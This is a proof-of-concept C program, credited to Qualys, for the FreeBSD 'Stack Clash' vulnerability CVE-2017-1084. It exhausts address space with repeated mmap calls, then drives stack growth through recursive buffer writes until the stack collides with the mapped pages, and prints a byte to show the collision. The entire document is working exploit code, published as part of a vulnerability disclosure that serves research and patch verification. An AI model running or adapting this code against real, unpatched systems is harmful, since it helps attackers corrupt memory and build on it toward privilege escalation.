FreeBSD - 'FGPU' Stack Clash (PoC)

/*
 * FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
clash(void)
{
    for (;;) {
        const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page <= last_page) die();
        if (page == MAP_FAILED) break;
        last_page = page;
    }
    if (!last_page) die();
}

static void
smash_no_jump(const size_t smash_size)
{
    char buf[1024];
    memset(buf, 'A', sizeof(buf));
    if (smash_size > sizeof(buf))
        smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ        ((size_t)128UL*1024)            /* amount to grow stack */

int
main(void)
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();

    clash();
    smash_no_jump(SGROWSIZ / 2 * 3);
    printf("char at %p: %02x\n", last_page, *last_page);
    exit(EXIT_SUCCESS);
}